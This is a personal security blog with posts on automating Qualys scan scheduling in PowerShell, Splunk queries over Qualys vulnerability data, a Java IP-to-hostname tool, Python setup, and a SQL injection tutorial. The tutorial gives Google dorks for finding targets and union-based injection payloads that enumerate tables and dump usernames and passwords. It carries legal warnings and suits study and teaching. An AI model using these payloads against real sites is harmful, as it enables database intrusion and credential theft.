Monday 25 July 2016

Schedule Scan using Qualys API

It's easy to schedule using GUI when the number of scan you want to schedule are hardly few, but what would you do if the numbers are exhaustive????

No Need to worry, just add details in CSC, use powershell and API and it will be done in few blinks.

Thanks to power of API and scripting (here powershell)

Below is the powershell code & Sample CSV entries that will be fetched

DCName AssetGrpName ID Scanner OptionProfile StartHour StartMin Duration Date
DC1     DD_DC1      123 scanner1 5858       3      0          36 8/9/2016
DC2     DD_DC2      456 scanner2 5858       2     30          36 8/9/2016

# Using Cookie.txt for storing cookie as input and output

param(
[Parameter(Mandatory=$true)][String]$username,
#End user must not be able to see the typed password, so protecting it
[Parameter(Mandatory=$true)][SecureString]$SecurePassword,
[Parameter(Mandatory=$false)][int]$ScanProfile=90348959

)
#Now we will convert back the securepassword input to the plain text as Qualys API works in that way
# Create a "password pointer"
$PasswordPointer = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)
# Get the plain text version of the password
$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordPointer)
# Free the pointer
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($PasswordPointer)
# Plain text password is in $password

remove-item alias:curl


[String]$counter='AUG'


#[String]$Cookie1= "$qualys_scan_schedule.cookies"


function login{

#login to qualys and dump the response cookie into Cookie1 which is pointing to .cookies
$Login ='curl -H "X-Requested-With: Curl Sample"  -c "cookie.txt" -d "action=login&username=$username&password=$password" "https://qualysapi.qualys.eu/api/2.0/fo/session/"'
Invoke-Expression $Login
}

function list{

$filepath = "C:\Users\tarun.kumar1\Desktop\test3.csv"
$csv = Import-csv  $filepath
foreach ($item in $csv)
{
$title=$($item.AssetGrpName)
$title=$title+$counter

$assetid=$($item.ID)
$scannername=$($item.Scanner)
$startdate=$($item.Date)
$starthour=$($item.StartHour)
$startmin=$($item.StartMin)

#echo $title,$assetid,$scannername,$startdate,$starthour,$startmin
$List='curl  -H "X-Requested-With: curl" -b "cookie.txt" -X "POST" -d "scan_title=$title&active=1&option_id=90348959&target_from=assets&asset_group_ids=$assetid&iscanner_name=$scannername&occurrence=daily&frequency_days=1&start_date=$startdate&start_hour=$starthour&start_minute=$startmin&time_zone_code=ST&pause_after_hours=36&observe_dst=no&recurrence=1" "https://qualysapi.qualys.eu/api/2.0/fo/schedule/scan/?action=create"'
Invoke-Expression $List

}
}

function logout{
#Logout
curl -H "X-Requested-With: Curl Sample" -d "action=logout" -b "cookie.txt" "https://qualysapi.qualys.eu/api/2.0/fo/session/"
}

function Main{

login
list
logout

}

. Main

Wednesday 13 July 2016

Splunk Queries for Qualys

Once Qualys App is installed in Splunk and API comm is set for feeds.
we can run the below search query to get the required data, so you don't have to login every time to Qualys :-)

Query for KPI's that will change over time

1. No of hosts Scanned
eventtype="qualys_vm_detection_event" |eval Success= if(SEVERITY >3,1,0)|stats count as total sum(Success) as success|eval Per_high=(success/total)*100 |

2. No of vulnerabilities detected (All severities, All types)
eventtype="qualys_vm_detection_event" STATUS="NEW"  | dedup QID |stats count by SEVERITY |

3. No of hosts taking more time to scan - to find the culprit hosts that are imparting more time to scan
sourcetype="qualys:hostDetection" eventtype=qualys_host_summary_event SCAN_DURATION> 1800 | sort -SCAN_DURATION | table IP, DNS, OS, SCAN_DURATION

4. Culprit Hosts Details taking more time
sourcetype="qualys:hostDetection" eventtype=qualys_host_summary_event SCAN_DURATION> 1800 | sort -SCAN_DURATION | table IP, DNS, OS, SCAN_DURATION

5. New Vulns detected over last scan.
eventtype="qualys_vm_detection_event" | dedup QID |stats count by SEVERITY

6. % contribution of high sev vulns in Total vulns
eventtype="qualys_vm_detection_event" |eval Success= if(SEVERITY >3,1,0)|stats count as total sum(Success) as success|eval Per_high=(success/total)*100 |

7. Query for tracking overall remediation trend
eventtype="qualys_vm_detection_event" |  stats count as eachCount |eval STATUS="Total"  | table STATUS eachCount| append [|search eventtype="qualys_vm_detection_event"| stats count as eachCount by STATUS| eventstats sum(eachCount) as total | eval fixedPerc = ((eachCount/total)*100) | search STATUS=FIXED |table STATUS eachCount ]


Query for Top 25 Most Prevailing Vulnerabilities that has Patch available for various production env.

1. For Linux
eventtype=qualys_vm_detection_event SEVERITY > 3 STATUS="ACTIVE" | regex OS="^((?!\/).)*Linux((?!\/).)*$"  | dedup HOST_ID  QID | lookup qualys_kb_lookup QID OUTPUT TITLE SEVERITY VENDOR_REFERENCE  | stats count by QID, TITLE, SEVERITY |  sort 25 –count

2. For Network (F5/Cisco/Firewall)
eventtype=qualys_vm_detection_event SEVERITY > 3 STATUS="ACTIVE" | regex OS="(F5 Networks Big-IP)|(^Cisco((?!\/).)*$)|(Firewall)" | dedup HOST_ID  QID | lookup qualys_kb_lookup QID OUTPUT TITLE SEVERITY VENDOR_REFERENCE  | stats count by QID, TITLE, SEVERITY |  sort 25 –count

3. For Windows Desktop
eventtype=qualys_vm_detection_event SEVERITY > 3 STATUS="ACTIVE" | regex OS="^Windows (2000$|XP|7|8)((?!\/).)*$"  | dedup HOST_ID  QID | lookup qualys_kb_lookup QID OUTPUT TITLE SEVERITY VENDOR_REFERENCE  | stats count by QID, TITLE, SEVERITY |  sort 25 –count

4. For Windows Server
eventtype=qualys_vm_detection_event SEVERITY > 3 STATUS="ACTIVE" | regex OS="^Windows .*Server((?!\/).)*$"  | dedup HOST_ID  QID | lookup qualys_kb_lookup QID OUTPUT TITLE SEVERITY VENDOR_REFERENCE  | stats count by QID, TITLE, SEVERITY |  sort 25 –count

Query for Top 25 most vulnerable systems for various production env.

1. For Network (F5/Cisco/Firewall)
eventtype=qualys_vm_detection_event SEVERITY > 3 | regex OS="(F5 Networks Big-IP)|(^Cisco((?!\/).)*$)|(Firewall)" |dedup QID IP| stats count by IP | sort -count | head 25

2. For Linux
eventtype=qualys_vm_detection_event SEVERITY > 3 | regex OS="^((?!\/).)*Linux((?!\/).)*$" |dedup QID IP| stats count by IP | sort -count | head 25

3. For Windows Desktop
eventtype=qualys_vm_detection_event SEVERITY > 3 | regex OS="^Windows (2000$|XP|7|8)((?!\/).)*$" |dedup QID IP| stats count by IP | sort -count | head 25

4. For Windows Server
eventtype=qualys_vm_detection_event SEVERITY > 3 | regex OS="^Windows .*Server((?!\/).)*$" |dedup QID IP| stats count by IP | sort -count | head 25

Query For Tracking Remediation Progress for various Production env.

1. Vulnerability Closed in last 30 days
eventtype="qualys_vm_detection_event" STATUS ="FIXED" earliest=-30d@d | dedup HOST_ID, QID | stats count by QID

2. For Network (F5/Cisco/Firewall)
eventtype=qualys_vm_detection_event STATUS="FIXED"|  regex OS="(F5 Networks Big-IP)|(^Cisco((?!\/).)*$)|(Firewall)"  | dedup HOST_ID  QID | stats count by QID

3. For Linux
eventtype=qualys_vm_detection_event STATUS="FIXED"| regex OS="^((?!\/).)*Linux((?!\/).)*$" | dedup HOST_ID  QID | stats count by QID

4. For Windows Desktop
eventtype=qualys_vm_detection_event STATUS="FIXED"| regex OS="^Windows (2000$|XP|7|8)((?!\/).)*$" | dedup HOST_ID  QID | stats count by QID

5. For Windows Server
eventtype=qualys_vm_detection_event STATUS="FIXED"| regex OS="^Windows .*Server((?!\/).)*$" | dedup HOST_ID  QID | stats count by QID

Wednesday 25 May 2016

Qualys API using Powershell

Below is the code which has been written in Powershell utilizing Qualys eu API

More code will be added with the functionality addon.



param(
[Parameter(Mandatory=$true)][String]$username,
#End user must not be able to see the typed password, so protecting it
[Parameter(Mandatory=$true)][SecureString]$SecurePassword,
[Parameter(Mandatory=$false)][int]$ScanProfile=90348959
)
#Now we will convert back the securepassword input to the plain text as Qualys API works in that way
# Create a "password pointer"
$PasswordPointer = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)
# Get the plain text version of the password
$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordPointer)
# Free the pointer
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($PasswordPointer)
# Plain text password is in $password


[String]$Cookie1= "$qualys_scan_schedule.cookies"

function login{

#login to qualys and dump the response cookie into Cookie1 which is pointing to .cookies
$Login ='curl -H "X-Requested-With: Curl Sample" --dump-header "$Cookie1" -d "action=login&username=$username&password=$password" "https://qualysapi.qualys.eu/api/2.0/fo/session/"'
Invoke-Expression $Login
}

function list{

$List='curl -H "X-Requested-With: Curl Sample" -d "action=list" -b "$Cookie1" "https://qualysapi.qualys.eu/api/2.0/fo/report/"'
Invoke-Expression $List
}

function logout{
#Logout
curl -H "X-Requested-With: Curl Sample" -d "action=logout" -b "$Cookie1" "https://qualysapi.qualys.eu/api/2.0/fo/session/"
}

function Main{

login
list
logout

}

. Main

Thursday 18 September 2014

Code for finding the Hostname for IP's using Java

I was working for something, where i need Hostname for thousands of IP's.

So i though to write a simple program in java, below is the source code, the program will take the IP list as i/p and will give you the hostname as o/p.



import java.io.BufferedWriter;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileWriter;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.Scanner;

public class hostname {

    public static void main(String gk[]){
    
        File file = new File("C:\\GIVE YOUR FILE PATH\\ip.txt");
               try {

            Scanner scanner = new Scanner(file);
            BufferedWriter writer = null;
           
           
            File f =new File ("C:\\OUTPUT EXCEL FILE PATH\\ip.xls");
            f.createNewFile();
           
            writer = new BufferedWriter(new FileWriter(f));


            while (scanner.hasNextLine())
            {
                String line = scanner.nextLine();
                //System.out.println(line);
               
                InetAddress host = InetAddress.getByName(line);
                //System.out.println(host.getHostName());
               writer.write(line+"\t"+host.getHostName());
                writer.newLine();
               
               
            }
            writer.flush();
            writer.close();
            scanner.close();
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Thursday 11 September 2014

Python - Learn step by step



Python – if you know other languages here you go..
Download the python interpreter from the above link.

To check whether it has been installed, check in cmd prompt by typing command python
python //it will show error as invalid command
so this means we need to set the path.
We can set it like below in cmd:
path %path%;<path were you have installed python>like 1 below
path %path%;c:\python34
So, it’s done now, check it again after you have set the path like one above.
So, here we can write our program, I have written my simple program as one below.

There are variety of editor for python, but always prefer to use eclipse as it is having a very good plugin for python ,if you are java programmer, then GOOD!! you already have knowledge in this.
So, we can go to eclipse downloads and download the standard one
After you are done with the installation just, extract the downloaded eclipse zip file and place it in the c:\program files.
Click eclipse.exe and here you go, but before you start, we need to download the python plugin for eclipse.   //install JDK in case u get any error related to that
Go to help->Install New Softwares->Available software sites->add http://pydev.org/updates , also you can give any name like python to that.
Go to the work with option and put the name which you have given earlier, it will start searching for pydev. So select pydev and install it.
Go to windows->preferences->pydev->interpreters->python interpretor->New! Here add the python interpreter you have already installed earlier, as discussed before in this writing.
So path will be c:\python34\python.exe   //will depend in case you have changed the by default installation settings, better to browse and then select the path.
So the ground is ready!!!!!Start playing..

Monday 1 September 2014

SQL INJECTION - With the technical justification why we are using particular trick



SQL Injection

The simple definition is Injecting the DB of the target or in other words the complicated one as by OWASP

"A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands."

I will start with testing for SQL injection as it is the most important part, you will never find anywhere

Also, you can use below google dorks to find out Sites and check if they are vulnerable to SQL.Most important don't check any live website without the their knowledge and permission until and unless you guys have a legal contract.

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
and much more

We can check SQL injection by simply using a apostrophe check..

for example the site is http://www.******.com/index.php?pid=1 //I have put all the stars as people usually start targeting the same website without any knowledge and it can put them in trouble.

I will once again repeat the same thing "Don't touch any website without the end website knowledge". THIS IS ILLEGAL.

Let's start now..

When you will apply a apostrophe( ' ) OR backslash( \ ) after a website link which is vulnerable to this attack as described above, you will find the below error..

http://www.******.com/index.php?pid=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\' LIMIT 0,1' at line 1
You should be happy, once you have received this kind of error, because you are getting message directly from the database.. so start communicating, use your full knowledge and enjoy

Now, i will not start like other articles on the internet which says this is a trick to use a apostrophe- if you are also thinking that it is- then read the below with concentration.

Consider the query :

Select name, password from table where id = ' any value '

This query will give a correct result when you are putting it as same.

But you have changed the value as 1' when you have applied a postrophe at the end http://www.******.com/index.php?pid=1'

..so the resultant query will now become

Select name, password from table where id = ' 1' '

So, the problem is that the quotes should always occur in pair, as we are not doing that so the error will definitely come.

So as we can see that we have control only over the part which is after id, so we can also comment the part of the query using --(followed by space), --+

e.g: http://www.******.com/index.php?pid=1' my command area --+

so in the my command area specified above, i can append any query..

So, our 1st task is, how many columns are used in the query which is linked with the URL we are modifying

http://www.******.com/index.php?pid=1'
Not sure, but let assume that the above URL is using similar kind of query as below

Select name, password from table where id = 1',,,,,so we are not sure at all whether it is having 1,2 or more columns.

So we can check this by appending order by query with the link above, as the order by give error if we mention more columns number after the order by clause which is not there on LHS of the Order by

In simple words - Select name, password from table where id = 1’ order by 2 --+

Sometime in order to make our appended query to work we may have to remove ‘ which is after id value as we never know how the command is integrated in the code, if we remove it then in that case it will work—depend on case by case

where id = 1 order by 2 --+

If we give order by 3, it should give error because LHS of the query has 2 columns and how can we display 3 columns.

So this is the way, we can get to know the no of columns. The very moment, it stopped showing error while changing the number after order by clause; we can stop and determine the no of columns in that query.

Here we go with the link:
http://www.******.com/index.php?pid= 1' order by 4 --+ ‘(this at the end apostrophe is commented by --+), also sometime it is bound by id=1’, so in that case we hv to remove our ‘ in order to have our appended command to work.


the format should be same for determining the no of column as pid= 1' order by 4 - -+

the - -+ at the end will comment the query part which is after that

Suppose we got the number of columns are 3 so we will append our union query as

http://www.******.com/index.php?pid= 1' union all select 1,2,3 --+

but in the o/p we won’t be able to see the result as the first part before the union is true and it will always show the result, so we have to make the first part as false, so it has to force fully execute the second statement which is our union statement.
 So we can do that by giving any invalid value in pid, e.g pid=99999 or pid= -1(as negative id value never use in the database), so it will invalidate the 1st part and the 2nd part will execute, in simple words we have to give a false values in the PID field, so that it will represent the value 1,2,3 at the places where earlier the output from the actual statement was coming.

Now these 1,2,3 values, we can use this value as place holder and we can give our own query in these places to know about the databases.

e.g we can replace these things with the database(), version(), @@version and much more for the simplification. And we will get all the values of the database which ever we will query

http://www.******.com/index.php?pid= 1' union all select 1,2,3 --+

SO WE WILL JUST REPLACE ANY OF THE VALUE BY 2 mentioned above.

For finding table name we will replace like following

pid=-2' union all select 1,table_name,3 from information_schema.tables--+

or in case u want it from the specified database

id=-2' union all select 1,table_name,3 from information_schema.tables where table_schema=database()--+      or database name in quotes we can mention here like below

id=-2' union all select 1,table_name,3 from information_schema.tables where table_schema=’my database name’ --+

But there will be so many tables in that database, so we can use limit 0,1 to find the tables and every time we can do an increment in the first place after limit and get the tables name as below.

id=-2' union all select 1,table_name,3 from information_schema.tables where table_schema=’my database name’ limit 0,1 --+

id=-2' union all select 1,table_name,3 from information_schema.tables where table_schema=’my database name’ limit 1,1--+

and so on,,,,but again this is very bore method to check the name of the table, so we want all the table name at once, go with group_concat method for this approach

We will use group_concat(table_name)  to get all the table details..

id=-2' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

in case we are not using the where clause “where table_schema=database()”
in that, most of the cases it can lead to displaying only the information_schema by defaults tables.

Now, I can proceed with finding the columns name, here I will go just replacing the table with columns

id=-2' union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+

But if I am interested in the column of 1 particular table, then I can simply put that table name as

id=-2' union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='any table name'

now I got the table name, column name,so time to proceed with finding the data as well.

So I will just do a simple query in the same field as below,,,no need of any info-schema, as I know what is the table name ,,and what is the column name now,,

id=-2' union all select 1,group_concat(password,0x3a,username),3 from tablename--+

0x3a will give the : in the o/p, so as to separate the o/p with username and password